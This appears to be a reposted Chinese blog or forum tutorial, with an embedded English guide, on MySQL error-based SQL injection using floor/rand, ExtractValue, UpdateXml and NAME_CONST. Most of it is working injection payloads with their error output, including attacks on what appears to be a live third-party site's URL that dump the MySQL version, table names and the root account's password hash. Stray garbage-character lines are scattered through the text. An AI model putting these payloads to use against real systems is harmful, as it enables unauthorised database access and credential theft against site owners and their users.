mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
5 h  k! B4 S8 e+—-+——-+———+
| id | title | content |
$ G7 t# p4 x4 q+—-+——-+———+
|  1 | test  | do it   |
% [1 P6 g3 O/ d& ~& P+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

9 v: u- {1 O4 v- i# y$ x) j
, D3 ^+ S9 K/ ~! [

再收集：

; S% R& F5 _2 s5 X$ ]9 o" q: Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

, k* S2 A  @5 a: OErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
4 l/ o+ u: h7 v/ R, w; i) Z5 }
7 K, R2 C- M- p& c, H* EErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
2 `- B1 w" b6 Z, W9 V7 u+ gIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

2 b! @5 s8 u% [" k0 H, y/ y
相关信息
, _; g/ z3 o; I7 |! y% V6 A  k- c: r
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

' w) }& p5 }, b6 r5 R& n5 v" kCode:
NAME_CONST(DATA, VALUE)
# K$ y% d+ Z% m. D$ q6 A
( ?+ \+ S- [' ?9 q- ~( s! TReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
" q2 n5 E$ [7 L# D" }. f


|---------------|
|     TEST      |
|               |
|---------------|
" e( ^/ i( o( U) j9 b|       1       |
5 f7 k: _/ F& T- C+ o2 v) g* F* f|               |
|---------------|
" |  Z: |) o+ _7 d+ r# V3 w
4 \! K2 r4 n1 o  }
7 r2 H" x# G+ y, s: }4 e! }

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
$ K7 z2 }2 h8 ?+ g4 HIntro to MySQL Variables
% H- z3 @3 j* [4 ~9 a  |2 e! F
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
0 Q. b" c9 |# L: L8 Uhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
/ ^# M3 |0 U2 {1 @
2 M- v# V: _' m  q4 v/ ^
- A  Y# k0 T) x1 u' W


Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

( _8 S( i8 b+ M  H& {3 q
VAR = Your MySQL variable.
0 d7 M" u1 i3 m' w
  E/ \/ z- D3 e( s9 t6 R- ~MySQL 5.1.3 Server System Variables

Let's try it out on my site..
% i! s3 e/ L$ o3 O" \' r8 F7 ?
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

& |1 ~* p! h& z! |Erroruplicate column name '5.0.27-community-nt'
: E1 |7 g/ z# W* y+ }

9 i6 ]  ]+ u) p" ?8 ]
  \# D/ R. V) l# J

- d/ }" `5 ?( R6 }" G  N1 VNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
5 X; A* a1 R- Z7 x0 w7 I( V
" k+ p8 E0 n  Y+ eData Extraction
1 j- y; D% i+ o- ~( ^: f
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
) [& A4 ^9 y6 k; K5 i1 ~% d

" l3 `; p; u- j% {. bWe should get a duplicate column 1 error...
: l& H. T' \5 p9 X8 G7 P
! i( k0 n; `" T8 c' Z$ y( n; {# hCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
4 A) m# U3 k: }9 N+ D5 \
Erroruplicate column name '1
& N( M1 {9 N: x/ |) C4 O
8 V$ Z* n' f) U- h9 Y5 t


$ X' D. v" H. P
! X) Y' R3 E& h
9 h5 q4 J9 E1 x% ENow let's get the tables out this bitch..
, x) I( C8 {* R! ~9 `' M8 L  K! k$ n
: `! T0 S- }; M4 J% g; [) `Code:
! k% T; B/ v* x9 {' S0 Y% f  Q+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
- ]4 ^" m& X: B* Q& u
; k6 z% P7 `) m' t- _
! R5 ]# y. i1 wLet's see if it works here, if it does, we can go on and finish the job.
1 s1 e- s; S% t- j0 g2 i
5 \) L6 a# b: w7 f/ R+ |Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 r; k- T# M+ g& K- N+ ?' r! S
* E. U4 }7 {+ O' A8 C8 h
Erroruplicate column name 'com_admanage
9 J% d& g. N: `3 t2 b3 ]# X' I
# W% f- r  @. T  e5 y
& J* \0 O( T6 k; ?+ r
5 _( \5 P  ]/ `7 ]4 k1 r

- b; d; _3 @  g, E& \
( U) D; v2 r8 f6 t1 a& SNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

9 U$ v7 Z) e0 P5 e$ n2 zCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
# N) q. C  L0 F; A- \) `; s
Code:
! G3 k$ e# \# d6 x1 T& Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'

: L7 R; ^% X% p" R: W# z# z# \: ^

) l) V, @. v* B1 O


Woot, time to finish this bitch off.
1 A, G1 _' i) c9 ~# o7 F
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

8 ]6 P& u' r. B3 J  F' u
So mine looks like this...

Code:
, h( l4 z* D8 L3 |+ D2 ?% Vhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



& \  t# C9 j2 m" U; Z% ?


And there we have it, thanks for reading.
% K0 h$ E& i$ b# F4 [9 I- D9 A
( F8 z0 v) r# V' l& T' ?1 m2 g1 H. k